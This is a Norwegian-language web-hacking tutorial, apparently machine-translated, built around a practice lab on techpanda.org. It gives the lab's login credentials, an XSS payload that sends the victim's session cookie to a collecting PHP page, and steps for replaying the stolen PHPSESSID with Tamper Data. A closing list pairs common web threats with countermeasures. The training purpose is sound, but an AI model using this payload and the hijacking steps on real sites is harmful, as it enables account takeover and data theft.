Hvordan hacke en nettside? Vanlige nettstedshackingsteknikker
Teknikker for hacking av nettsteder
Flere mennesker har tilgang til internett enn noen gang fรธr. Dette har fรฅtt mange organisasjoner til รฅ utvikle nettbaserte applikasjoner som brukere kan bruke pรฅ nettet for รฅ samhandle med organisasjonen. Dรฅrlig skrevet kode for nettapplikasjoner kan utnyttes til รฅ fรฅ uautorisert tilgang til sensitive data og webservere.
I denne opplรฆringen lรฆrer du hvordan du hacker nettsider, og vi vil introdusere deg til hackingteknikker for nettapplikasjoner og mottiltak du kan sette pรฅ plass for รฅ beskytte mot slike angrep.
Hvordan hacke et nettsted
I dette praktiske scenariet for hacking av nettsteder skal vi kapre brukerรธkten til nettapplikasjonen som ligger pรฅ www.techpanda.org. Vi vil bruke skripting pรฅ tvers av nettsteder for รฅ lese sesjons-ID-en for informasjonskapsler og deretter bruke den til รฅ etterligne en legitim brukerรธkt.
Forutsetningen er at angriperen har tilgang til webapplikasjonen og han รธnsker รฅ kapre รธktene til andre brukere som bruker samme applikasjon. Mรฅlet med dette angrepet kan vรฆre รฅ fรฅ administratortilgang til nettapplikasjonen forutsatt at angriperens tilgangskonto er begrenset.
Trinn 1) Open URL http://www.techpanda.org/.
For praksisformรฅl anbefales det sterkt รฅ fรฅ tilgang ved hjelp av SQL Injection. Viser til dette Artikkel for mer informasjon om hvordan du gjรธr det.
Trinn 2) Skriv inn pรฅloggingsdetaljer.
E-postadressen for pรฅlogging er admin@google.com, passordet er Password2010.
Trinn 3) Sjekk dashbordet.
Hvis du har logget pรฅ vellykket, fรฅr du opp fรธlgende dashbord
Trinn 4) Skriv inn nytt innhold.
Klikk pรฅ Legg til ny kontakt og skriv inn fรธlgende som fornavn
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
Trinn 5) Legg til Javascript.
Koden ovenfor bruker JavaScript. Den legger til en hyperkobling med en onclick-hendelse. Nรฅr den intetanende brukeren klikker pรฅ lenken, henter hendelsen PHP informasjonskapselรธkt-ID og sender den til snatch_sess_id.php siden sammen med รธkt-ID-en i URL
Trinn 6) Legg til detaljer.
Skriv inn de resterende detaljene som vist nedenfor og klikk pรฅ Lagre endringer
Trinn 7) Sjekk dashbordet.
Dashbordet ditt vil nรฅ se ut som fรธlgende skjermbilde
Trinn 8) Sjekk รธkt-ID.
Merknader: Skriptet kan sende verdien til en ekstern server hvor PHPSESSID er lagret, deretter ble brukeren omdirigert tilbake til nettstedet som om ingenting hadde skjedd.
Merknader: verdien du fรฅr kan vรฆre forskjellig fra den pรฅ denne nettsiden hacking opplรฆring, men konseptet er det samme
Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg
Flytskjemaet nedenfor viser trinnene du mรฅ ta for รฅ fullfรธre denne รธvelsen.
- Du vil trenge Firefox nettleser for denne delen og Tamper Data-tillegget
- Open Firefox og installer tillegget som vist i diagrammene nedenfor
- Sรธk etter sabotasjedata og klikk deretter pรฅ installer som vist ovenfor
- Klikk pรฅ Godta og installer...
- Klikk pรฅ Start pรฅ nytt nรฅ nรฅr installasjonen er fullfรธrt
- Aktiver menylinjen i Firefox hvis den ikke vises
- Klikk pรฅ verktรธymenyen og velg Tamper Data som vist nedenfor
- Du fรฅr opp fรธlgende vindu. Merk: Hvis Windows er ikke tom, trykk pรฅ slett-knappen
- Klikk pรฅ Start sabotasje-menyen
- Bytt tilbake til Firefox nettleser, skriv http://www.techpanda.org/dashboard.php trykk deretter enter-tasten for รฅ laste siden
- Du vil fรฅ fรธlgende popup fra Tamper Data
- Popup-vinduet har tre (3) alternativer. Tamper-alternativet lar deg endre HTTP-hodeinformasjonen fรธr den sendes til serveren.
- Klikk pรฅ den
- Du fรฅr opp fรธlgende vindu
- Kopier PHP-sesjons-ID du kopierte fra angrepet URL og lim den inn etter likhetstegnet. Verdien din skal nรฅ se slik ut
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- Klikk pรฅ OK-knappen
- Du fรฅr opp popup-vinduet Tamper data igjen
- Fjern merket i avmerkingsboksen som spรธr Fortsette manipulering?
- Klikk pรฅ send-knappen nรฅr du er ferdig
- Du skal kunne se dashbordet som vist nedenfor
Merknader: vi logget ikke pรฅ, vi etterlignet en pรฅloggingsรธkt ved รฅ bruke PHPSESSID-verdien vi hentet ved bruk av cross site scripting
Hva er en webapplikasjon? Hva er nettrusler?
En nettapplikasjon (alias nettside) er en applikasjon basert pรฅ klient-server-modellen. De server gir databasetilgangen og forretningslogikken. Den ligger pรฅ en webserver. Klientapplikasjonen kjรธrer pรฅ klientnettleseren. Nettapplikasjoner er vanligvis skrevet pรฅ sprรฅk som f.eks Java, C# og VB.Net, PHP, ColdFusion Markup Language osv. databasemotorene som brukes i webapplikasjoner inkluderer MySQL, MS SQL Server, PostgreSQL, SQLiteOsv
Topp hackingteknikker for nettsteder
De fleste nettapplikasjoner ligger pรฅ offentlige servere som er tilgjengelige via Internett. Dette gjรธr dem sรฅrbare for angrep pรฅ grunn av lett tilgjengelighet. Fรธlgende er vanlige nettapplikasjonstrusler.
- SQL Injection โ Mรฅlet med denne trusselen kan vรฆre รฅ omgรฅ pรฅloggingsalgoritmer, sabotere dataene osv.
- Nektelse av tjenesteangrepโ Mรฅlet med denne trusselen kan vรฆre รฅ nekte legitime brukere tilgang til ressursen
- Cross Site Scripting XSSโ Mรฅlet med denne trusselen kan vรฆre รฅ injisere kode som kan kjรธres pรฅ nettleseren pรฅ klientsiden.
- Cookie/Session-forgiftningโ Mรฅlet med denne trusselen er รฅ endre informasjonskapsler/sesjonsdata av en angriper for รฅ fรฅ uautorisert tilgang.
- Skjematukling โ Mรฅlet med denne trusselen er รฅ endre skjemadata som priser i e-handelsapplikasjoner slik at angriperen kan fรฅ varer til reduserte priser.
- Code Injeksjon โ Mรฅlet med denne trusselen er รฅ injisere kode som PHP, Python, etc. som kan kjรธres pรฅ serveren. Koden kan installere bakdรธrer, avslรธre sensitiv informasjon osv.
- defacementโ Mรฅlet med denne trusselen er รฅ endre siden som ble vist pรฅ et nettsted og omdirigere alle sideforespรธrsler til รฉn enkelt side som inneholder angriperens melding.
Hvordan beskytte nettstedet ditt mot hacks?
En organisasjon kan ta i bruk fรธlgende policy for รฅ beskytte seg mot nettserverangrep.
- SQL Injection โ sanering og validering av brukerparametere fรธr de sendes til databasen for behandling kan bidra til รฅ redusere sjansene for รฅ bli angrepet via SQL Injection. Databasemotorer som MS SQL Server, MySQL, etc. stรธtteparametere, og utarbeidede uttalelser. De er mye tryggere enn tradisjonelle SQL-setninger
- Denial of Service-angrep โ brannmurer kan brukes til รฅ slippe trafikk fra mistenkelig IP-adresse hvis angrepet er en enkel DoS. Riktig konfigurasjon av nettverk og inntrengningsdeteksjonssystem kan ogsรฅ bidra til รฅ redusere sjansene for en DoS angrep vรฆrt vellykket.
- Cross Site Scripting โ validering og sanering av overskrifter, parametere som sendes via URL, skjemaparametere og skjulte verdier kan bidra til รฅ redusere XSS-angrep.
- Cookie/Session-forgiftning โ dette kan forhindres ved รฅ kryptere innholdet i informasjonskapslene, tidsavbryte informasjonskapslene etter en stund, assosiere informasjonskapslene med klientens IP-adresse som ble brukt til รฅ lage dem.
- Formtempering โ dette kan forhindres ved รฅ validere og verifisere brukerinngangen fรธr den behandles.
- Code Injeksjon โ dette kan forhindres ved รฅ behandle alle parametere som data i stedet for kjรธrbar kode. Sanitisering og validering kan brukes til รฅ implementere dette.
- Defacement โ en god sikkerhetspolicy for webapplikasjonsutvikling bรธr sikre at den forsegler ofte brukte sรฅrbarheter for รฅ fรฅ tilgang til webserverenDette kan vรฆre en riktig konfigurasjon av operativsystemet, webserverprogramvaren og beste sikkerhetspraksis ved utviklingping webapplikasjoner.
Sammendrag
- En nettapplikasjon er basert pรฅ server-klient-modellen. Klientsiden bruker nettleseren for รฅ fรฅ tilgang til ressursene pรฅ serveren.
- Nettapplikasjoner er vanligvis tilgjengelige over internett. Dette gjรธr dem sรฅrbare for angrep.
- Trusler mot nettapplikasjoner inkluderer SQL-injeksjon, Code Injeksjon, XSS, Defacement, Cookie Poisoning, etc.
- En god sikkerhetspolicy ved utviklingping Nettapplikasjoner kan bidra til รฅ gjรธre dem sikre.


















